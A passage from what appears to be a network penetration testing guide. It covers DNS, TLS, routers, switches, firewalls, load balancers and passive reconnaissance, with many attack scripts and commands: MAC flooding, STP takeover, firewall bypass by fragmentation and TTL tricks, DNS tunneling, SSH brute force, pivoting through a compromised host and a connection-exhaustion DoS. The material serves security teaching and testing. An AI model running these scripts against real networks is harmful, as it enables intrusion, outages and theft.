ffuf -w subdomains.txt -u http://target.com -H "Host: FUZZ.target.com" -fs 1234DNS Cache Snooping:
# Determine recently queried domains
dig +norecurse @target-dns target.com
# Check if domain is cached
dig +norecurse @target-dns non-existent-domain.target.com
# Compare response timesReverse DNS Lookups:
# Reverse lookup single IP
dig -x 192.168.1.1
# Reverse lookup IP range
for ip in $(seq 1 254); do
dig -x 192.168.1.$ip +short
done
# Using dnsrecon reverse
dnsrecon -r 192.168.1.0/24 -n 8.8.8.8DNS Wildcard Detection:
# Check for wildcard records
dig random-string-that-doesnt-exist.target.com
# If returns IP, wildcard present
# Need to filter wildcards in enumerationDNS Attack Vectors:
DNS Cache Poisoning:
Classic Kaminsky Attack:
- Query non-existent subdomain (rand1.target.com)
- Spoofed response includes additional record for target.com
- Poison recursive resolver's cache
- Repeat with different random subdomains
Kaminsky Attack Implementation (Conceptual):
import random
import socket
def kaminsky_attack(target_domain, target_ns, victim_resolver):
"""Kaminsky DNS cache poisoning attack"""
# Generate random subdomain
sub = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(10))
qname = f"{sub}.{target_domain}"
# Query victim resolver
# Send spoofed response with additional records
# Repeat until success
passDNS Tunneling:
How DNS Tunneling Works:
- Encode data in DNS queries (subdomain labels)
- Send to attacker-controlled DNS server
- Server extracts data and responds
- Responses can carry data back
DNS Tunneling Tools:
# iodine (IP over DNS)
iodine -f -P password dns-server.example.com
# dnscat2 (Command & Control)
dnscat2-server dns-server.example.com
dnscat2 --dns server=dns-server.example.com
# dns2tcp
dns2tcpd -f /etc/dns2tcpd.conf
dns2tcpc -z dns-server.example.com -l 8888 -r sshDetection:
- Unusually long domain names
- High query frequency
- Non-standard record types (TXT with large data)
- Random-looking subdomains
DNS Rebinding:
Attack Flow:
- Attacker controls malicious.com with short TTL
- Victim visits malicious.com, downloads JavaScript
- JavaScript makes requests to malicious.com
- DNS resolves to attacker IP (first response)
- Attacker changes DNS to internal IP (127.0.0.1, 192.168.1.1)
- Browser same-origin allows request to internal IP
DNS Rebinding Implementation:
# Simple DNS rebinding server
import socket
import threading
class DNSRebinder:
def __init__(self):
self.first_answer = "1.2.3.4" # External IP
self.second_answer = "127.0.0.1" # Internal IP
self.queries = {}
def handle_dns(self, data, addr, sock):
# Parse DNS query
# Count queries per client
client = addr[0]
self.queries[client] = self.queries.get(client, 0) + 1
if self.queries[client] == 1:
response_ip = self.first_answer
else:
response_ip = self.second_answer
# Build spoofed DNS response
# Send back
passDNS Rebinding Defenses:
- DNS pinning (browsers cache DNS for 60 seconds minimum)
- Host header validation
- Same-origin policy enhancements
- Network filtering (block private IP responses)
Domain Generation Algorithms (DGA):
Malware uses DGA to generate domain names for C2:
- Based on date: Daily domains (e.g., Conficker)
- Hash-based: Generate from seed
- Word-based: Combine dictionary words
DGA Analysis:
import hashlib
import datetime
def conficker_dga(date):
"""Conficker DGA (simplified)"""
seed = date.strftime("%Y%m%d")
domains = []
for i in range(50):
domain = hashlib.md5(f"{seed}{i}".encode()).hexdigest()[:8] + ".com"
domains.append(domain)
return domainsTransport Layer Security protects web communications but introduces its own attack surface:
TLS Protocol Versions:
- SSLv2 (1995): Broken (multiple vulnerabilities)
- SSLv3 (1996): POODLE attack, deprecated
- TLS 1.0 (1999): BEAST, Lucky 13, deprecated
- TLS 1.1 (2006): CBC attacks, deprecated
- TLS 1.2 (2008): Currently widely used
- TLS 1.3 (2018): Modern, secure, recommended
TLS Handshake (1.2):
- Client Hello: Supported versions, ciphers, extensions
- Server Hello: Selected version, cipher, certificate
- Certificate: Server's certificate chain
- Server Key Exchange: (if needed) DH parameters
- Server Hello Done: Ready for client
- Client Key Exchange: Pre-master secret (encrypted)
- Change Cipher Spec: Switch to encrypted
- Finished: Verify handshake
- Change Cipher Spec/Finished: Server confirms
TLS Handshake (1.3):
- Reduced round trips (1-RTT, 0-RTT with resumption)
- Removed weak/obsolete features
- Encrypted handshake (most messages encrypted)
- Forward secrecy by default
TLS Attack Vectors:
Version Downgrade Attacks: Force client and server to use older, vulnerable versions:
# MITM modifying Client Hello
# Remove higher versions, leave only SSLv3/TLS 1.0Cipher Suite Downgrade: Force negotiation of weak ciphers:
# Modify Client Hello to only include weak ciphers
# e.g., export-grade ciphers, NULL encryption, RC4Certificate Validation Bypass: Exploit improper validation:
- Missing hostname verification
- Accepting self-signed certificates
- Not checking revocation
- Weak signature algorithms
Famous TLS Attacks:
POODLE (Padding Oracle On Downgraded Legacy Encryption):
- Targets SSLv3 CBC mode padding
- Attacker can decrypt cookies
- Mitigation: Disable SSLv3
BEAST (Browser Exploit Against SSL/TLS):
- Exploits CBC mode in TLS 1.0
- Predictable IV allows chosen plaintext attacks
- Mitigation: Use TLS 1.1+ or RC4 (now also broken)
CRIME (Compression Ratio Info-leak Made Easy):
- Exploits TLS compression
- Attacker injects data, observes compression ratio
- Can steal session cookies
- Mitigation: Disable TLS compression
BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext):
- Similar to CRIME but exploits HTTP compression
- Works even with TLS compression disabled
- Mitigation: Disable HTTP compression, CSRF tokens
Heartbleed (CVE-2014-0160):
- Buffer over-read in OpenSSL heartbeat extension
- Leaks server memory (private keys, session data)
- Affected OpenSSL 1.0.1-1.0.1f
Heartbleed Exploit:
# Simplified Heartbleed check
import socket
import struct
def heartbleed_check(host, port=443):
"""Check for Heartbleed vulnerability"""
# TLS heartbeat request with invalid length
heartbeat = (
b"\x18" # Heartbeat
b"\x03\x02" # TLS version
b"\x00\x03" # Length
b"\x01" # Heartbeat request
b"\x40\x00" # Payload length (16384)
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# Send Client Hello
# Receive response
# Send heartbeat
s.send(heartbeat)
response = s.recv(1024)
if len(response) > 7: # More than heartbeat response
print(f"[!] {host} may be vulnerable to Heartbleed")
s.close()ROBOT (Return Of Bleichenbacher's Oracle Threat):
- RSA oracle attacks
- Can decrypt RSA-encrypted pre-master secrets
- Affects many implementations
Certificate Transparency and Reconnaissance:
Certificate Transparency logs provide valuable reconnaissance data:
# Query crt.sh for subdomains
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u
# Using certspotter
certspotter -domain target.com
# Using censys
censys certificates -q "parsed.names: target.com"Certificate Misconfigurations to Test:
- Expired certificates: May indicate poor maintenance
- Self-signed: Possible internal systems exposed
- Weak signature: MD5, SHA1 (deprecated)
- Wildcard certificates: *.target.com (broad scope)
- Missing SANs: Subject Alternative Names
- Revoked certificates: CRL/OCSP status
- Mismatched names: Certificate for different domain
Understanding how enterprise networks are structured helps penetration testers identify the most valuable targets and the paths to reach them.
Core Layer: The high-speed backbone connecting distribution layers. Core switches and routers handle massive traffic volumes and must be highly available. From a penetration testing perspective, the core represents the ultimate target - compromise here means control over all network traffic.
Core Layer Characteristics:
- High-speed switching (10/40/100 Gbps)
- Redundant links and devices
- Minimal policy enforcement (performance focus)
- Connects to data center, internet edge, WAN
- Often uses dynamic routing (OSPF, BGP)
Core Layer Attack Surface:
- Management interfaces: Usually restricted, but if exposed...
- Routing protocols: BGP/OSPF manipulation
- Physical access: Most critical, best protected
- Firmware vulnerabilities: Cisco, Juniper, Arista CVEs
Distribution Layer: Aggregates access layer switches and implements policies like routing, filtering, and QoS. Distribution switches often contain ACLs and VLAN configurations that segment network zones.
Distribution Layer Functions:
- Route aggregation (summarization)
- VLAN routing (inter-VLAN communication)
- Policy enforcement (ACLs, QoS)
- Redundancy (HSRP, VRRP, GLBP)
- Broadcast domain boundary
Distribution Layer Attack Surface:
- Inter-VLAN routing: Gateway between segments
- First-hop redundancy protocols: HSRP/VRRP attacks
- ACL misconfigurations: Overly permissive rules
- VLAN configurations: Trunk ports, native VLAN
Access Layer: Where end-user devices connect. Access switches provide port security, 802.1X authentication, and VLAN assignment. Compromising access layer devices can provide footholds into sensitive network segments.
Access Layer Features:
- Port security (MAC limiting)
- 802.1X authentication
- DHCP snooping
- Dynamic ARP inspection
- Spanning tree features (PortFast, BPDU Guard)
- PoE (Power over Ethernet)
Access Layer Attack Surface:
- Physical ports: Direct network access
- Authentication bypass: 802.1X weaknesses
- VLAN hopping: Trunk misconfigurations
- STP attacks: BPDU manipulation
- CDP/LLDP: Information leakage
Leaf-Spine Architecture (Data Centers): In modern data centers, leaf switches connect to servers, and spine switches connect all leaf switches in a full mesh. This provides predictable latency and high bandwidth between any two points.
Leaf-Spine Characteristics:
- Leaf switches: Connect to servers, storage, firewalls
- Spine switches: Connect only to leaves (no server connections)
- Full mesh: Every leaf connects to every spine
- Equal-cost multipath (ECMP): Load balancing across spines
- Predictable latency: Same number of hops between any two leaves
Testing Implications:
- East-west traffic visibility challenges
- ECMP makes traffic flow prediction difficult
- Overlay networks (VXLAN) obscure traditional boundaries
- Spine compromise provides complete network visibility
Software-Defined Networking (SDN): SDN separates the control plane (decision-making) from the data plane (packet forwarding). The centralized controller represents a high-value target.
SDN Architecture:
- Application layer: Network applications, orchestration
- Control layer: SDN controller (OpenDaylight, ONOS, NSX)
- Infrastructure layer: Physical/virtual switches
- Southbound APIs: OpenFlow, OVSDB, NETCONF
- Northbound APIs: REST APIs for applications
SDN Attack Surface:
- Controller compromise: Control entire network
- API security: REST API vulnerabilities
- Flow table manipulation: Modify forwarding rules
- Controller-controller communication: Clustering attacks
- Application security: Malicious SDN apps
SDN Attack Vectors:
Controller Compromise:
# Hypothetical SDN controller exploit
import requests
# Find exposed controller API
controllers = scan_network(":8080") # OpenDaylight default
for controller in controllers:
# Try default credentials
response = requests.get(f"http://{controller}/restconf/operational/opendaylight-inventory:nodes",
auth=("admin", "admin"))
if response.status_code == 200:
print(f"[+] Access to controller {controller}")
# Can now modify flows, monitor trafficFlow Table Flooding:
# Send many new flow requests to exhaust TCAM
for i in range(10000):
send_packet_with_unique_flow()Network Virtualization Overlays: Technologies like VXLAN and NVGRE create virtual networks over physical infrastructure:
VXLAN (Virtual Extensible LAN):
- Encapsulates layer 2 in UDP (port 4789)
- 24-bit VNI (16 million segments vs 4094 VLANs)
- MAC-in-UDP encapsulation
- Requires multicast or EVPN for flooding
VXLAN Header:
Outer Ethernet | Outer IP | Outer UDP | VXLAN (8 bytes) | Inner Ethernet | Payload
VXLAN Attack Surface:
- VTEP (VXLAN Tunnel Endpoint) vulnerabilities
- VNI hopping: Escaping tenant isolation
- Encapsulation attacks: Malformed packets
- Multicast group poisoning: Intercept traffic
- ARP suppression bypass: Poison VTEP caches
Traditional DMZs place public-facing servers in a network segment with restricted access to internal networks.
Single Firewall (Three-Legged) DMZ: One firewall with three interfaces: internet, DMZ, and internal network. The firewall enforces different policies between each zone.
Traffic Flows:
- Internet → DMZ: Allowed (web, mail, DNS)
- DMZ → Internal: Restricted (only specific services)
- Internal → Internet: Allowed (with NAT/proxy)
- Internal → DMZ: Allowed (management, updates)
Vulnerabilities:
- Single point of failure (firewall compromise = full access)
- Complex rule sets (misconfigurations common)
- DMZ to internal may be too permissive
Dual Firewall DMZ: Internet-facing firewall protects DMZ, internal firewall protects corporate network.
Advantages:
- Compromise of DMZ doesn't automatically grant internal access
- Defense in depth
- Different firewall vendors (avoid same vulnerability)
Penetration Testing DMZ Focus:
DMZ Host Assessment:
# Scan DMZ range for exposed services
nmap -sS -sV -p- 192.168.1.0/24
# Check for internal trust relationships
# Look for NFS mounts, Windows trusts, SSH keysFirewalking (Firewall Rule Detection):
# Determine firewall rules by TTL expiration
firewalk -S 1-100 -i eth0 -p TCP target_gateway target_hostDMZ to Internal Pivoting:
# After compromising DMZ host, scan internal network
# Use compromised host as proxy
import socket
import socks
# Set up SOCKS proxy through compromised host
socks.set_default_proxy(socks.SOCKS5, "compromised-dmz-host", 1080)
socket.socket = socks.socksocket
# Now scan internal network through proxy
for i in range(1,255):
try:
s = socket.socket()
s.settimeout(1)
s.connect(("192.168.10." + str(i), 445))
print(f"Found internal host: 192.168.10.{i}")
except:
passProper network segmentation limits breach impact. Penetration testers should assess:
VLAN Segmentation:
- VLAN hopping vulnerabilities
- Trunk port misconfigurations
- Inter-VLAN routing restrictions
- Voice VLAN isolation (often poorly secured)
VLAN Hopping Testing:
# Test for VLAN hopping via double tagging
from scapy.all import *
def test_double_tagging(interface, target_vlan):
"""Test if double tagging works"""
# Frame with two VLAN tags
frame = Ether(dst="ff:ff:ff:ff:ff:ff")/ \
Dot1Q(vlan=1)/ \ # Native VLAN (usually 1)
Dot1Q(vlan=target_vlan)/ \ # Target VLAN
IP(dst="192.168.{}.1".format(target_vlan))/ \
ICMP()
response = srp1(frame, iface=interface, timeout=2)
if response:
print(f"[+] Double tagging to VLAN {target_vlan} successful")Micro-segmentation (Zero Trust): In zero trust architectures, segmentation occurs at the workload level, often using host-based firewalls or service meshes.
Zero Trust Principles:
- Never trust, always verify
- Assume breach
- Least privilege access
- Micro-segmentation
- Continuous monitoring
Testing Zero Trust Environments:
# Test host-based firewall rules
nmap -sS -p 3306 database-server.internal
# Test service mesh policies
# Attempt to access unauthorized services
curl -H "Authorization: invalid" internal-service:8080
# Test identity-based access
# Try stolen credentials from different hostsRouters direct traffic between networks and often serve as the first line of defense.
Router Configuration Vulnerabilities:
Default Credentials:
# Test common router default credentials
hydra -l admin -P default-passwords.txt -t 4 192.168.1.1 http-get /
hydra -l root -P default-passwords.txt 192.168.1.1 sshCommon Default Credentials:
- admin/admin
- admin/password
- cisco/cisco
- cisco/C1sc0!
- root/root
- admin/1234
- Administrator/administrator
SNMP Community Strings:
# SNMP enumeration with default communities
snmpwalk -v2c -c public 192.168.1.1 system
snmpwalk -v2c -c private 192.168.1.1 system
snmpwalk -v2c -c manager 192.168.1.1 system
# SNMP brute force
onesixtyone -c community.txt -i hosts.txtUnnecessary Services:
# Scan for enabled services
nmap -sS -sV -p- 192.168.1.1
# Common unnecessary services:
# - HTTP/HTTPS admin (should be restricted)
# - Telnet (use SSH instead)
# - SNMP (if not needed)
# - Finger (information disclosure)
# - Chargen (DoS risk)
# - Daytime, Time (information disclosure)Weak Passwords:
# SSH brute force
hydra -l admin -P rockyou.txt 192.168.1.1 ssh
# HTTP basic auth brute force
hydra -l admin -P rockyou.txt 192.168.1.1 http-get /Missing Encryption:
# Check for Telnet (unencrypted)
nc -nv 192.168.1.1 23
# Check for HTTP (should be HTTPS)
curl -I http://192.168.1.1Routing Protocol Security:
BGP Security Testing:
# Check BGP configuration (if accessible)
show ip bgp summary
show ip bgp neighbors
# Test for BGP without authentication
# Attempt to establish BGP sessionOSPF Security Testing:
# Sniff OSPF packets
tcpdump -i eth0 -v -s 1500 'proto ospf'
# Check for authentication
# Null authentication = vulnerable
# Plaintext authentication = sniffable
# MD5 authentication = stronger (but MD5 weaknesses)Router Exploitation:
Cisco IOS Exploitation:
import requests
# Cisco IOS HTTP server exploit (example)
def cisco_ios_exploit(router_ip):
# Test for CVE-2020-3452 (read-only path traversal)
url = f"http://{router_ip}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
response = requests.get(url)
if "portal" in response.text:
print(f"[!] Router vulnerable to path traversal")
print(response.text[:200])RouterOS (MikroTik) Exploitation:
# MikroTik CVE-2018-14847 (WinBox vulnerability)
python routeros.py -i 192.168.1.1Switches operate at layer 2 and provide connectivity within network segments.
VLAN and Trunking Misconfigurations:
DTP (Dynamic Trunking Protocol) Testing:
from scapy.all import *
def test_dtp(interface):
"""Test if switch responds to DTP"""
# DTP frame
dtp = Ether(dst="01:00:0c:cc:cc:cc")/ \
LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/ \
SNAP(OUI=0x00000c, code=0x2004)/ \
Raw(load="\x00\x01\x00\x01") # Simplified
response = srp1(dtp, iface=interface, timeout=5)
if response:
print("[+] Switch responded to DTP - trunk negotiation possible")Native VLAN Testing:
def test_native_vlan(interface, target_ip):
"""Test if native VLAN allows access"""
# Send frame without tag (native VLAN)
frame = Ether(dst="ff:ff:ff:ff:ff:ff")/ \
IP(dst=target_ip)/ICMP()
response = srp1(frame, iface=interface, timeout=2)
if response:
print(f"[+] Communication possible on native VLAN")Switch Attack Vectors:
MAC Flooding:
from scapy.all import *
import random
def mac_flood(interface, target_ip, count=10000):
"""Flood switch with fake MACs"""
for i in range(count):
# Random source MAC
src_mac = "02:%02x:%02x:%02x:%02x:%02x" % tuple(random.randint(0,255) for _ in range(5))
# Random source IP
src_ip = "192.168.%d.%d" % (random.randint(1,254), random.randint(1,254))
frame = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff")/ \
IP(src=src_ip, dst=target_ip)/ICMP()
sendp(frame, iface=interface, verbose=False)
if i % 1000 == 0:
print(f"[+] Sent {i} frames")CDP Information Gathering:
def sniff_cdp(interface, count=10):
"""Sniff CDP packets"""
def handle_cdp(pkt):
if pkt.haslayer(CDP):
print("\n[+] CDP Packet:")
if hasattr(pkt[CDP], 'val_deviceid'):
print(f" Device ID: {pkt[CDP].val_deviceid}")
if hasattr(pkt[CDP], 'val_platform'):
print(f" Platform: {pkt[CDP].val_platform}")
if hasattr(pkt[CDP], 'val_address'):
print(f" Address: {pkt[CDP].val_address}")
if hasattr(pkt[CDP], 'val_portid'):
print(f" Port ID: {pkt[CDP].val_portid}")
if hasattr(pkt[CDP], 'val_version'):
print(f" Version: {pkt[CDP].val_version}")
sniff(iface=interface, filter="ether dst 01:00:0c:cc:cc:cc", prn=handle_cdp, count=count)STP Manipulation:
def stp_root_bridge_attack(interface):
"""Attempt to become STP root bridge"""
# BPDU with priority 0 (lowest)
bpdu = Ether(dst="01:80:c2:00:00:00")/ \
LLC(dsap=0x42, ssap=0x42, ctrl=0x03)/ \
STP(
proto=0,
version=0,
bpdutype=0x00,
bpduflags=0x00,
rootid=0, # Priority 0
rootmac="02:00:00:00:00:01",
cost=0,
bridgeid=0,
bridgemac="02:00:00:00:00:01",
portid=0x8001,
age=0,
maxage=20,
hellotime=2,
fwddelay=15
)
sendp(bpdu, iface=interface, loop=1, inter=2)Switch Security Features Testing:
Port Security:
# Test MAC limiting
# Connect multiple devices to same port
# Should trigger violation
# Test sticky MAC learning
# Spoof learned MAC to see if allowed802.1X Authentication Bypass:
# Test for MAB (MAC Authentication Bypass) fallback
# Spoof MAC of authorized device
# Test 802.1X EAP weaknesses
# EAP-MD5 (vulnerable to dictionary attack)
# PEAP/MSCHAPv2 (vulnerable to relay attacks)DHCP Snooping Testing:
# Test DHCP starvation
yersinia dhcp -attack 1 # DHCP starvation
# Test rogue DHCP server
dhcpd -cf rogue-dhcp.confDynamic ARP Inspection (DAI) Testing:
# Test ARP spoofing with DAI enabled
# Should be blocked
# Try ARP packets with invalid MAC-IP bindingsFirewalls filter traffic based on rules, while intrusion prevention systems detect and block attacks.
Firewall Rule Enumeration:
Port Scanning to Infer Rules:
# TCP SYN scan - see what's allowed
nmap -sS -p T:1-1000 target_ip
# TCP ACK scan - map firewall rules
nmap -sA -p 1-1000 target_ip
# Fragment scanning - bypass inspection
nmap -f -sS target_ip
# Decoy scanning - hide source
nmap -D RND:10,ME target_ipFirewalking (Firewall Rule Detection):
# Firewalk - determine ACLs
firewalk -S 1-100 -i eth0 -p TCP target_gateway target_hostFirewall Bypass Techniques:
Protocol Tunneling:
DNS Tunneling:
# Set up DNS tunnel
iodine -f -P password dns-server.example.com
# Now use tunnel for blocked protocols
ssh -o ProxyCommand="nc -X connect -x localhost:1080 %h %p" internal-serverHTTP Tunneling:
# HTTP tunnel using CONNECT method
import socket
def http_tunnel(target_host, target_port, proxy_host, proxy_port):
"""Create HTTP tunnel through proxy"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((proxy_host, proxy_port))
# Send CONNECT request
s.send(f"CONNECT {target_host}:{target_port} HTTP/1.0\r\n\r\n".encode())
response = s.recv(1024)
if b"200" in response:
print("[+] Tunnel established")
return s
return NoneICMP Tunneling:
# ICMP tunnel
ptunnel -p proxy-server -lp 8000 -da target-server -dp 22
# Now ssh to localhost:8000 goes through ICMP tunnelSSH Over HTTP:
# SSH over HTTP using corkscrew
ssh -o ProxyCommand="corkscrew proxy.example.com 8080 %h %p" target-serverFragmentation Overlap:
from scapy.all import *
def fragment_overlap_bypass(target_ip, target_port):
"""Create overlapping fragments"""
# First fragment: "GET /index.html"
frag1 = IP(dst=target_ip, id=12345, flags="MF", frag=0)/ \
TCP(sport=1234, dport=target_port, seq=1000)/ \
Raw(load="GET /index.ht")
# Second fragment: overlapping offset writes "admin" over part
frag2 = IP(dst=target_ip, id=12345, frag=1)/ \
TCP(sport=1234, dport=target_port, seq=1000)/ \
Raw(load="adminl")
send(frag1)
send(frag2)
# Reassembled: "GET /adminl"TTL Manipulation:
def ttl_bypass(target_ip, target_port, firewall_hop_count):
"""Bypass firewall using TTL expiration"""
# Set TTL to expire between firewall and target
# Firewall sees packet with TTL=1 (expires soon)
# Packet reaches target after TTL expired (ignored)
# Send packet with TTL that expires after firewall
pkt = IP(dst=target_ip, ttl=firewall_hop_count + 1)/ \
TCP(sport=1234, dport=target_port)/ \
Raw(load="malicious")
send(pkt)IDS/IPS Evasion:
Payload Encoding:
# Base64 encoding
import base64
payload = "<script>alert(1)</script>"
encoded = base64.b64encode(payload.encode()).decode()
# Attack URL
url = f"http://target.com/page?input={encoded}"
# Server decodes and reflectsPolymorphic Shellcode:
# Generate multiple variations
import random
def generate_xss_variations(payload):
variations = []
# Case variation
variations.append(''.join(random.choice([c.upper(), c.lower()]) for c in payload))
# HTML entity encoding
variations.append(''.join(f"&#{ord(c)};" for c in payload))
# URL encoding
variations.append(''.join(f"%{ord(c):02x}" for c in payload))
# JavaScript encoding
variations.append(''.join(f"\\u{ord(c):04x}" for c in payload))
return variationsSession Splicing:
import socket
import time
def session_splicing(target_ip, target_port, payload, chunk_size=1, delay=0.1):
"""Split attack across multiple packets"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Send HTTP headers normally
s.send(b"GET / HTTP/1.1\r\n")
s.send(b"Host: target.com\r\n")
s.send(b"\r\n")
# Send payload character by character
for char in payload:
s.send(char.encode())
time.sleep(delay)
s.close()Timing Attacks:
import time
import requests
def slow_attack(url, payloads, delay=5):
"""Slow attack to avoid threshold detection"""
for payload in payloads:
requests.get(url, params={"q": payload})
time.sleep(delay) # Slow down to avoid triggering thresholdsLoad balancers distribute traffic and often terminate SSL/TLS connections.
Load Balancer Discovery:
HTTP Header Analysis:
# Check for load balancer headers
curl -I https://target.com | grep -i "x-forwarded\|via\|x-cache\|x-backend"
# Multiple requests to see different servers
for i in {1..10}; do
curl -s -I https://target.com | grep -i "server\|x-powered"
doneCookie Analysis:
# Look for load balancer cookies
curl -s -I https://target.com | grep -i "set-cookie"
# Common LB cookies:
# BIGipServer* (F5)
# TS* (Citrix Netscaler)
# AWSALB (AWS ALB)
# SERVERID (Apache)Time-Based Detection:
# Time requests to detect different backends
for i in {1..10}; do
time curl -s https://target.com > /dev/null
doneMultiple IP Resolution:
# Check if domain resolves to multiple IPs
nslookup target.com
dig target.com
# Check for geographic distribution
for ip in $(dig target.com +short); do
whois $ip | grep -i "country\|netname"
doneLoad Balancer Attacks:
Session Persistence Exploitation:
import requests
def session_persistence_test(url, num_requests=10):
"""Test if session sticks to same backend"""
session = requests.Session()
for i in range(num_requests):
response = session.get(url)
backend = response.headers.get('X-Backend-Server', 'unknown')
print(f"Request {i}: backend={backend}")
# If all same, session persistence is workingSSL/TLS Offloading Attacks:
# If LB terminates SSL, try accessing backend directly
# Find real backend IPs (via DNS, headers, errors)
def test_direct_backend(backend_ip):
"""Test if backend accessible directly"""
try:
# Try HTTP (should be HTTPS if offloading)
response = requests.get(f"http://{backend_ip}", timeout=5)
print(f"[+] Backend accessible directly")
except:
passLoad Balancer Configuration Extraction:
# Error messages may reveal configuration
def extract_lb_info(url):
"""Extract load balancer info from errors"""
# Trigger errors with malformed requests
responses = []
# Overflow cookie
cookies = {'bigipserver': 'A' * 10000}
responses.append(requests.get(url, cookies=cookies))
# Invalid protocol
responses.append(requests.get(url.replace('https', 'http')))
# Check responses for backend info
for response in responses:
if 'backend' in response.text.lower():
print(f"[!] Found backend info: {response.text[:200]}")DoS Through Connection Exhaustion:
import socket
import threading
def connection_exhaustion(target_ip, target_port, num_connections=1000):
"""Exhaust load balancer connection table"""
sockets = []
def create_connection():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Send partial request to keep connection open
s.send(b"GET / HTTP/1.1\r\n")
s.send(b"Host: target.com\r\n")
# Don't send final \r\n, keep connection open
sockets.append(s)
except:
pass
threads = []
for i in range(num_connections):
t = threading.Thread(target=create_connection)
t.start()
threads.append(t)
for t in threads:
t.join()
print(f"[+] Created {len(sockets)} connections")
# Keep connections open
input("Press Enter to close...")Passive reconnaissance gathers information without directly interacting with target systems, reducing detection risk.
DNS Records Analysis:
Comprehensive DNS Enumeration:
# Get all record types
dig any target.com
dig target.com ANY @8.8.8.8
# Specific record types
dig a target.com
dig aaaa target.com
dig mx target.com
dig ns target.com
dig txt target.com
dig soa target.com
dig cname target.com
dig ptr target.com
# Using nslookup (Windows/Linux)
nslookup -type=any target.comDNS Zone Transfer Attempts:
# Get name servers
ns=$(dig ns target.com +short)
# Try zone transfer from each
for ns in $ns; do
echo "Trying zone transfer from $ns"
dig axfr target.com @$ns
done
# Using dnsrecon
dnsrecon -d target.com -t axfr
# Using fierce
fierce --domain target.com --dns-servers $nsDNS History and Changes:
SecurityTrails API:
# SecurityTrails (requires API key)
curl --request GET \
--url 'https://api.securitytrails.com/v1/domain/target.com/subdomains' \
--header 'APIKEY: YOUR_API_KEY'DNSDumpster:
# DNSDumpster (web interface)
# https://dnsdumpster.com/
# Or use API
curl -X POST https://dnsdumpster.com/ -d "targetip=target.com"Certificate Transparency Logs:
# crt.sh
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u
# censys.io (requires API)
censys certificates -q "parsed.names: target.com"
# certspotter
certspotter -domain target.comSubdomain Discovery Techniques:
Brute-Force with Wordlists:
# Using gobuster
gobuster dns -d target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50
# Using massdns
massdns -r resolvers.txt -t A -o S -w massdns_output.txt subdomains.txt
# Using dnsx
dnsx -d target.com -w subdomains.txt -r resolvers.txt -o resolved.txtPermutation Generation:
# Generate permutations of known subdomains
def generate_permutations(domain, known_subdomains):
permutations = []
# Common prefixes/suffixes
prefixes = ['dev', 'stg', 'test', 'uat', 'prod', 'backup', 'old', 'new']
suffixes = ['-dev', '-stg', '-test', '-backup']
for sub in known_subdomains:
# Add base
permutations.append(sub)
# Add prefixes
for prefix in prefixes:
permutations.append(f"{prefix}-{sub}")
permutations.append(f"{prefix}{sub}")
# Add suffixes
for suffix in suffixes:
permutations.append(f"{sub}{suffix}")
# Number variations
for i in range(1, 10):
permutations.append(f"{sub}{i}")
return permutationsSearch Engine Dorking:
# Google dorks for subdomains
site:*.target.com
-site:www.target.com
# Inurl dorks
inurl:target.com
inurl:target.com -inurl:www
# Filetype dorks for additional info
site:target.com filetype:pdf
site:target.com filetype:doc
site:target.com filetype:xls
site:target.com filetype:txt
Third-Party Sources:
# Shodan
shodan search hostname:target.com
shodan search ssl.cert.subject.cn:target.com
# Censys
censys search "target.com"
# VirusTotal
curl -s "https://www.virustotal.com/api/v3/domains/target.com/subdomains" \
-H "x-apikey: YOUR_API_KEY"
# AlienVault OTX
curl -s "https://otx.alienvault.com/api/v1/indicators/domain/target.com/url_list"Certificates provide rich information about infrastructure:
Certificate Extraction:
# Get certificate from live server
echo | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null | openssl x509 -text
# Get certificate chain
echo | openssl s_client -connect target.com:443 -servername target.com -showcerts 2>/dev/null
# Get certificate in PEM format
echo | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null | openssl x509 -outform PEMCertificate Analysis:
import ssl
import socket
import OpenSSL
def analyze_certificate(hostname, port=443):
"""Analyze SSL certificate"""
context = ssl.create_default_context()
with socket.create_connection((hostname, port)) as sock:
with context.wrap_socket(sock, server_hostname=hostname) as ssock:
cert = ssock.getpeercert(binary_form=True)
x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_ASN1, cert)
# Subject
subject = x509.get_subject()
print(f"Subject: {subject.CN}")
# Subject Alternative Names
for i in range(x509.get_extension_count()):
ext = x509.get_extension(i)
if ext.get_short_name() == b'subjectAltName':
print(f"SANs: {ext}")
# Issuer
issuer = x509.get_issuer()
print(f"Issuer: {issuer.CN}")
# Validity
not_before = x509.get_notBefore().decode()
not_after = x509.get_notAfter().decode()
print(f"Valid from: {not_before}")
print(f"Valid to: {not_after}")
# Signature algorithm
print(f"Signature algo: {x509.get_signature_algorithm().decode()}")
# Public key
pubkey = x509.get_pubkey()
print(f"Public key type: {pubkey.type()}")
print(f"Public key bits: {pubkey.bits()}")Google Dorking for Network Intelligence:
Network Device Discovery:
# Default pages
intitle:"index of" network "target.com"
intitle:"router configuration" "target.com"
intitle:"switch configuration" "target.com"
intitle:"firewall configuration" "target.com"
# Configuration files
filetype:conf "network configuration" "target.com"
filetype:cfg "router" "target.com"
filetype:ini "network" "target.com"
# SNMP information
inurl:snmp "public" "target.com"
inurl:snmp "private" "target.com"
# Port exposure
site:target.com inurl:8080
site:target.com inurl:8443
site:target.com inurl:9090
site:target.com intitle:"index of" port:
# Error messages
"warning: server certificate" site:target.com
"self-signed certificate" site:target.com
"dhcp server" "target.com"
Shodan and Censys Queries:
Shodan Search Filters:
# Basic filters
hostname:"target.com"
ssl.cert.subject.cn:"target.com"
http.title:"Target Company"
